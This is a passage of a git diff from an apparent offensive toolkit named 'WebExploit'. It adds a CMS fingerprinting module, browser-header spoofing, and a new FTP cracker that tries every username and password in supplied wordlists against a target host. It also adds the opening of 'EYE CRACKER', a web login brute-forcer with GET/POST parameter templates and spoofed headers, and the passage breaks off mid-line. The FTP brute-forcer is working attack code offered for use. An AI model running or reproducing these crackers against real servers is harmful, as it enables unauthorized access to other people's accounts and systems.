"\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + ▄████▄ ███▄ ▄███▓ ██████ + ▒██▀ ▀█ ▓██▒▀█▀ ██▒ ▒██ ▒ + ▒▓█ ▄ ▓██ ▓██░ ░ ▓██▄ + ▒▓▓▄ ▄██ ▒██ ▒██ ▒ ██▒ + ▒ ▓███▀ ▒▒██▒ ░██▒ ▒██████▒▒ + ░ ░▒ ▒ ░░ ▒░ ░ ░ ▒ ▒▓▒ ▒ ░ + ░ ▒ ░░ ░ ░ ░ ░▒ ░ + ░ ░ ░ ░ ░ ░ + ░ ░ ░ ░ ░ ''', ''' + ▄▄· • ▌ ▄ ·. .▄▄ · + ▐█ ▌▪ ·██ ▐███▪ ▐█ ▀. + ██ ▄▄ ▐█ ▌▐▌▐█· ▄▀▀▀█▄ + ▐███▌ ██ ██▌▐█▌ ▐█▄▪▐█ + ·▀▀▀ ▀▀ █▪▀▀▀ ▀▀▀▀ ''', ''' + ______ ____ ____ _______ + ./ ___ | |_ \ / _| / ___ | + / ./ \_| | \/ | | (__ \_| + | | | |\ /| | '.___\-. + \ \.___.'\ _| |_\/_| |_ |\\____) | + \._____.' |_____||_____| |_______.' '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}CMS{f.GREEN}]{f.WHITE}{f.RED} C.M.S{f.WHITE}{bold} C{nbold}ontent {bold}M{nbold}anagement {bold}S{nbold}ystem Detector T00L !\n\n\n') + t.sleep(3) + + + while True: + try: + url = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}C.M.S/{bold}WP-URL{nbold}{f.WHITE} enter \'{bold}URL{nbold}\' [ex: https://youtube.com]:#{f.GREEN}{bold} ') + print(f'{nbold}') + + if url: + if 'http' in url or 'https' in url: + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}C.M.S/{f.CYAN}Skipper{f.WHITE}] SKIPPING ADD {bold}{f.GREEN} HTTP://{nbold} to [{green}{bold}{url}{nbold}]\n') + t.sleep(2) + break + if 'http' not in url or 'https' not in url: + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}C.M.S/{f.CYAN}Adder{white}] AUTOMATICALLY ADDING {bold}{f.GREEN} HTTP://{nbold} to [{green}{bold}{url}{nbold}]\n') + url = (f'http://{url}') + t.sleep(2) + break + else: + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + try: + information_url = builtwith.parse(url) + except Exception as builtwith_error: + print (f' {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}C.M.S/{f.GREEN}GET-CMS-INFO{white}] {nbold}{f.CYAN} ERROR : \' {bold}{builtwith_error}{nbold} \' \n') + t.sleep(3) + sys.exit(0) + try: + for n in information_url: + val = '' + for mji in information_url[str(n)]: + n = n.replace('-',' ') + n = n.title() + val += str(mji) + + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}CMS/{f.WHITE}NAME >>>{bold}{f.CYAN} {n} {nbold}{f.WHITE}] {f.WHITE}~> [{f.RED}{bold}{val}{nbold}{f.WHITE}] \n') + t.sleep(0.5) + except Exception as information_url_error: + print (f' {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}C.M.S/{f.GREEN}CMS-INFO-URL{white}] {nbold}{f.CYAN} ERROR : \'{bold}{information_url_error}{nbold}\' \n') + t.sleep(3) + sys.exit(0) diff --git a/cores/dirboster.py b/cores/dirboster.py index 78bcb9a..3780aee 100644 --- a/cores/dirboster.py +++ b/cores/dirboster.py @@ -41,6 +41,7 @@ def run(): bold = "\033[1m" nbold = "\033[0m" italic = "\033[3m" + red = "\033[0;31m" # {bold} # {nbold} print(f'{bold}') @@ -96,7 +97,8 @@ def run(): t.sleep(1) except FileNotFoundError: - dirs = open("default-dirs.txt" , 'r').read().split() + filedefault = (f'{os.getcwd()}/cores/wp-plugins.txt') + dirs = open(filedefault, 'r').read().split() print (f'\n {f.WHITE}[{f.RED}{bold}ERROR{nbold}{f.WHITE}]{f.YELLOW} You Not Entered {bold}DirPaths{f.WHITE}{nbold}[{bold}{f.YELLOW}FILE{nbold}{f.WHITE}] USING {bold}{f.GREEN}DEFAULT FILE !{nbold}{f.WHITE}\n') print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{nbold}{f.WHITE}@{nbold}{f.RED}DirBoster/{f.WHITE}LOAD-{bold}DEFAULT{nbold}{f.WHITE}] LOADED {bold} %s {nbold} DirPaths {bold}Successfully...{nbold}\n\n' % len(dirs)) t.sleep(1) diff --git a/cores/fpc.py b/cores/fpc.py new file mode 100644 index 0000000..606f802 --- /dev/null +++ b/cores/fpc.py @@ -0,0 +1,215 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + + try: + import time as t + from colorama import Fore as f + import sys, os + from ftplib import FTP + import ftplib + from random import choice + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + )`-.--. /`-. )\.-. + ) .-._( / _ \ / .-._) + \ `-._ ( '-' ( ( . _ + ) ._( ) .._.' ) '..' ) + ( \ ( ' ( . ( + )./ )/ )/'._.' ''', ''' + ______ __ ___ + (_) | /|/ \ /\__) + |__ |___/ | + /| _| | + (_/ | \___/ ''',''' + █████ ██▓███ ▄████▄ + ▓██ ▓██░ ██ ▒██▀ ▀█ + ▒████ ▓██░ ██▓▒ ▒▓█ ▄ + ░▓█▒ ▒██▄█▓▒ ▒ ▒▓▓▄ ▄██ + ▒░▒█░ ▒██▒ ░ ░ ▒ ▓███▀ + ░ ▒ ░ ▒▓▒░ ░ ░ ░ ░▒ ▒ + ░ ░ ░▒ ░ ░ ▒ + ░ ░ ░░ ░ + ░ ░ ░ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}FPC{f.GREEN}]{f.WHITE}{f.RED} F.P.C {f.WHITE}{bold}F{nbold}T{bold}P C{nbold}racker T00L !\n\n\n') + t.sleep(3) + + while True: + try: + host = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}HOST{nbold}{f.WHITE} enter {bold}\'IP or HOST ADDR{nbold}\' [ex: 1.1.1.1, ftp.site.com]:#{f.GREEN}{bold} ') + print(f'{nbold}') + + if host: + break + else: + continue + + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + try: + ftp = FTP(host) + except ftplib.all_errors as ftp_error: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}F.P.C/{f.GREEN}Modules-Loader{white}] {nbold}{f.CYAN} ERROR : \'{bold}{ftp_error}{nbold}\' \n') + sys.exit(0) + t.sleep(1) + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER{nbold}{f.YELLOW} If You Know {bold}USERNAME {nbold}Give A File With 1 Username !{white}]') + t.sleep(3) + + while True: + usernames = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER{nbold}{f.WHITE} enter \'USERNAME LIST{nbold}\' [ex: FTP-users.txt]:#{f.GREEN}{bold} ') + if usernames: + try: + users = open(usernames, 'r').read().split() + # users.close() + break + except Exception as file_err: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}F.P.C/{f.GREEN}Usernames{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n') + t.sleep(1) + continue + t.sleep(1) + + + while True: + passwords = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER{nbold}{f.WHITE} enter \'Password LIST{nbold}\' [ex: /home/WebExploit/Desktop/FTP-passwords.txt]:#{f.GREEN}{bold} ') + if passwords: + try: + passes = open(passwords, 'r').read().split() + # passes.close() + break + except Exception as file_err: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}F.P.C/{f.GREEN}Passwords{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n') + t.sleep(1) + continue + t.sleep(1) + + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER{nbold}{f.YELLOW} Loadind modules {bold}FTP-cracker . . . !{nbold}]') + t.sleep(3) + + try: + ftp = FTP(host) + except ftplib.all_errors as ftp_error: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}F.P.C/{f.GREEN}Modules-Loader{white}] {nbold}{f.CYAN} ERROR : \'{bold}{ftp_error}{nbold}\' \n') + sys.exit() + + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER/{nbold}{f.GREEN}ATTACK{bold} launching ATTACK in{white}]', end='', flush=True) + t.sleep(1) + print (' 5 ', end='', flush=True) + t.sleep(1) + print (' 4 ', end='', flush=True) + t.sleep(1) + print (' 3 ', end='', flush=True) + t.sleep(1) + print (' 2 ', end='', flush=True) + t.sleep(1) + print (' 1 ', end='', flush=True) + t.sleep(1) + print (' 0 ', end='', flush=True) + + t.sleep(3) + print(f'\n\n\ {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER/{nbold}{f.YELLOW}ATTACK{green}{bold} LAUNCHED . . .{white}]\n') + try: + for username in users: + for password in passes: + try: + log = ftp.login(username,password) + # if 'OK' in log: + print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}{green}INFO{nbold}{f.WHITE} User: {bold}{green}\'{username}{nbold}{white}\' Passowrd: {bold} \'{green}{password}{nbold}{white}\' {bold}{green} SUCESSFULL !') + t.sleep(1) + print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}{green}INFO{nbold}{f.WHITE} server response msg: {bold}{green}[{log}]') + break + sys.exit(0) + + except ftplib.all_errors as FTP_error: + print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}{green}INFO{nbold}{f.WHITE} User: {bold}{red}\'{username}{nbold}{white}\' Passowrd: {bold} \'{red}{password}{nbold}{white}\' {bold}{red} Not SUCESSFULL ! {nbold}{white} Because: {yellow}{bold}{FTP_error}') + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + diff --git a/cores/ipl.py b/cores/ipl.py index 3f44e5d..4f99dd9 100644 --- a/cores/ipl.py +++ b/cores/ipl.py @@ -40,12 +40,13 @@ def run(): from colorama import Fore as f import requests as r from random import choice - #from fake_headers import Headers + from fake_headers import Headers except: print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") t.sleep(1) sys.exit() - + global my_ip + my_ip = "Unknown [Can't Get Your Ip]" black = "\033[0;30m" red = "\033[0;31m" green = "\033[0;32m" @@ -168,8 +169,8 @@ def r_bnr(bnr): print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}I.P.L/{f.CYAN}CHECKER{f.WHITE}] {bold}IP VERIFIED {nbold}[{bold}{green}{address}{nbold}{white}]\n') #make request - - response = r.get(f_url) + headers = Headers(browser='opera',os='win',headers=True).generate() + response = r.get(f_url, headers=headers) response_js = response.text texts = json.loads(response_js) diff --git a/cores/mojiana.py b/cores/mojiana.py new file mode 100644 index 0000000..3cc0b6a --- /dev/null +++ b/cores/mojiana.py @@ -0,0 +1,916 @@ +def run(): + ''' + 'MJI 3> ARI' + _____________ + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + try: + import time as t + from colorama import Fore as f + import sys, os + import requests as r + import socket + from random import choice + from fake_headers import Headers + from fake_useragent import UserAgent + except Exception as pip_error: + print("\033[0;31m %s run command \n\t\033[0;32m pip install -r requirements.txt !" % (pip_error)) + t.sleep(1) + sys.exit() + global proxy_type + global proxy_use + global use_header + global slep + global tor_use + global auth_type + global auth_text + global method + global get_param + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + t.sleep(1) + + + bnr = [''' + ░ ▄▄ + ▄▄█▓▄██████▒ + ▄▓█▀▀▀▀ ▄ ▀▀▀██▄▄▄ + ▄▄▄▓▀▀▐▄ ▄▄▄███▀▀▀▀▀▀▀▀▀█▄▄█▓▒▌ + ▄▒▀▀█▄▄█████▀▀ ▄ ▄▌▀██████████▓██▄▄ + ░▓███████▀▀ ▄▄█████▄███▀▀▀▀▀▓███░▀▀▀ + ▄███▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▓▓██████▀▀██▐▄ + ▌▌▓░▌▓▀██████ ▀██▄▀████▓█████████▄▀█▓▒▀ + ░░▐░░░▐ █████ ▀███▄ ██░▐▌█▓▌▄▄███▌▀▐▌ + ▌ ░░ ▐ ▀▀▀▀██▄▐▓▓███▄ ▀██▓███████ ▄█▀ + ▐ ░░▐ ▐░▐▐ ▓█▐██▓████▄ ▀▀▀▀▀█▄▄███ + ░▐▐ ░▓██▓▀█▌▐▀▀▐█▓██▐██▓██▓▒ + ▐ ░░▌░▐ █▌▌ ▐▌▌██▐▌▓░▀█▐ + ░░▌░▐ █▌▒ ▐▀▓▐▐▐▌▓ ▌▓▓ + ░░▌░▐ ▌▌▐ ▐▐▓░▐▐▌▒ ░▓▐ + ▐ ▌ ▐ ▀ ▐ ▐▐ ░░▐▌▒ + ░ ▐ ░░ ░ + ▐ ░░ ░ + ░░ ░ + ▐ '''] + + def r_bnr(bnr): + return choice(bnr) + print(f'{bold}{l_red}') + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + + print(f'{blink}{l_green}', end='', flush=True) + print('E', end='', flush=True) + t.sleep(0.2) + print('Y', end='', flush=True) + t.sleep(0.5) + print('E', end='', flush=True) + t.sleep(0.3) + print('-', end='', flush=True) + t.sleep(0.6) + print('C', end='', flush=True) + t.sleep(0.3) + print('R', end='', flush=True) + t.sleep(0.2) + print('A', end='', flush=True) + t.sleep(0.2) + print('C', end='', flush=True) + t.sleep(0.5) + print('K', end='', flush=True) + t.sleep(0.5) + print('E', end='', flush=True) + t.sleep(0.5) + print('R', end='', flush=True) + t.sleep(2) + print(f'{nbold}', end='', flush=True) + print(f' {italic} From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}EYE{f.GREEN}]{f.WHITE}{f.RED} For The Eyerlinear + MJI 3> ARI {f.WHITE}{bold} E{nbold}Y{bold}E {nbold}CRACKER !\n\n\n') + t.sleep(3) + + + def _fake_hed(bw_ = ['chrome','firefox','opera'], os_ = ['win','mac'',lin']): + browser = choice(bw_) + operation_system = choice(os_) + return Headers( + browser=browser, + os=operation_system, + headers=True).generate() + fake_hed = _fake_hed() + + print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] auth text: True TEXT: if this text {bold}{green}in{white}{nbold} site.html[text] content EYE CRACKER {bold}alert {nbold}[{green}{bold}PASSWORD FOUND{white}{nbold}] !\n') + t.sleep(2) + print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] auth text: False TEXT: if this text {bold}{green}not in {white}{nbold}site.html[text] content EYE CRACKER {bold}alert {nbold}[{green}{bold}PASSWORD FOUND{white}{nbold}] !\n') + t.sleep(2) + print(f' {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] auth text: EX > False TEXT ~> {bold}password incorrect.{nbold}\n') + t.sleep(2) + print(f' {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] auth text: EX > True TEXT ~> {bold}logout{nbold}\n') + t.sleep(2) + + while True: + try: + auth_type = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TEXT{nbold}{f.WHITE}] enter \'{bold}AUTH-TYPE{nbold}\' [ex: {bold}\'false [text]\' or \'true [text]\'{nbold}]:#{l_green}{bold} ').lower() + if auth_type: + if auth_type == 'true': + print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}TRUE[text]{nbold}\n') + #auth_type = in + break + if auth_type == 'false': + print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}FALSE[text]{nbold}\n') + #auth_type = not in + break + else: + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] please enter {bold}{red} false {white}{nbold}OR {green}{bold} true {white}{nbold} ONLY !\n') + t.sleep(1) + continue + else: + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] please enter {bold}{red} false {white}{nbold}OR {green}{bold} true {white}{nbold} ONLY !\n') + t.sleep(1) + continue + + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + + + + t.sleep(2) + + while True: + try: + auth_text = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TEXT{nbold}{f.WHITE}] enter \'{bold}AUTH-TEXT-{auth_type}{nbold}\' [ex: {bold}\'logout\' or \'login\'{nbold}]:#{l_green}{bold} ') + if auth_text: + print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TEXT{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{auth_text}{nbold}\n') + break + else: + print(f' {f.WHITE}[{f.RED}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] Please enter AUTH---[{auth_type}]---TEXT\n') + t.sleep(1) + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + + + + t.sleep(1.5) + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] SET REQUEST METHOD {bold}{green} http{white}[s]{blue}-{red}[get|post]{blue}-{yellow}form {white}{nbold}!\n') + t.sleep(1) + + print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}>{f.WHITE}GET METHOD {yellow}HELP{nbold}{f.WHITE}] GET [AUTH] METHOD {bold}> > >{green} For Crack Login Pages [get request + PARAMETRES] {white}!\n') + t.sleep(1) + + print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}>{f.WHITE}POST METHOD {yellow}HELP{nbold}{f.WHITE}] POST [AUTH] METHOD {bold}> > >{green} For Crack Login Pages [post request + data] {white}!\n') + t.sleep(1) + + print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}>{f.WHITE}GET METHOD {yellow}HELP{nbold}{f.WHITE}] GET [FORM] [AUTH] METHOD {bold}> > >{green} For Crack Login Pages [get request + data] {white}!\n') + t.sleep(1) + + print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}>{f.WHITE}GET METHOD {yellow}HELP{nbold}{f.WHITE}] GET [AUTH] METHOD {bold}> > >{green} For Crack Login Pages [get request] {white}!\n') + + while True: + # http[s]-{get|post}-form + try: + method = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}SET-METHOD{nbold}{f.WHITE}] enter \'{bold}METHOD{nbold}\' [ex: {bold}\'post\' or \'get\'{nbold} or {bold}\'post-form\'{nbold} or {bold}\'get-form\'{nbold}]:#{l_green}{bold} ').lower() + if method == 'post': + t.sleep(1) + print (f'\n {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD{nbold}{f.WHITE}]{f.WHITE} >>> {bold}P0ST{nbold}\n') + break + + if method == 'post-form': + t.sleep(1) + print (f'\n {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD{nbold}{f.WHITE}]{f.WHITE} >>> {bold}POST-FORM{nbold}\n') + break + + if method == 'get-form': + t.sleep(1) + print (f'\n {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD{nbold}{f.WHITE}]{f.WHITE} >>> {bold}GET{nbold}\n') + break + + if method == 'get': + t.sleep(1) + print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD{nbold}{f.WHITE}]{f.WHITE} >>> {bold}GET{nbold}\n') + break + + else: + t.sleep(1) + print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD[S]{nbold}{f.WHITE}]{f.WHITE} >>> {bold}PLEASE SET A REQUEST METHOD HTTP[S] >>> {nbold}[ get-form == \'get form method \'] [post-form == \'post form method\'] [get] [post] ! {nbold}{white}\n') + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + + if method == 'get': + while True: + try: + get_param = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}URL-[GET]-PARAMETRES{nbold}{f.WHITE}] enter \'{bold}GET-PARAMETRES{nbold}\' [ex: /user=$USER$&password=$PASSWORD$ ]:#{yellow}{bold} ') + t.sleep(0.5) + + if get_param: + if get_param[0:1] == '/': + pass + else: + get_param = '/'+get_param + + if '$USER$' not in get_param: + print(f'\n {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] GET METHOD need \'$USER$\' but not found please replace \'username\' parameter to $USER$\n') + t.sleep(1) + continue + + if '$PASSWORD$' not in get_param: + print(f'\n 